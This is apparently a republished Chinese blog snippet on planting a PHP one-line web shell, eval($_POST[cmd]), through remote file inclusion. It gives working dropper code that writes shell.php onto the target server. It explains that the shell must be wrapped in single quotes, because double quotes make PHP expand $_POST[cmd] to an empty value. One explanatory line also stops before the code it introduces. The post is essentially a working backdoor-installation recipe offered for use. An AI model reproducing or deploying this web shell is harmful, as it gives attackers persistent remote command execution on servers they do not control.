远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)
生活随笔
收集整理的這篇文章主要介紹了
远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
遠程包含shell
需要allow_url_open=On,才可以嘗試遠程包含一句話木馬:
http://www.xxx.com/echo.txt, 代碼如下。
或者
<?php $b='<?php eval($_POST[cmd]);?>'; $a=fopen('shell.php','w'); fputs($a,$b); fclose($a); ?>其中出現了報錯,實際是因為一開始的代碼是這樣的。歸根結底是單引號和雙引號的問題
<?php fputs (fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>") ?>雙引號里面的字段會經過編譯器解釋,然后再當作HTML代碼輸出。 單引號里面的不進行解釋,直接輸出。 通俗點來說就是雙引號里的變量會執行,單引號里的不會執行,相當于字符串 如果把一句話木馬用雙引號包起來,那么執行php代碼的時候,他會執行$_POST[cmd],又因為沒有POST沒有接收到值所以變空。
如果變為單引號,執行php代碼時則為:
總結
以上是生活随笔為你收集整理的远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 忘了 iPhone 怎么重启可以使用隐藏
- 下一篇: 诗词曲五首翻译十五从军征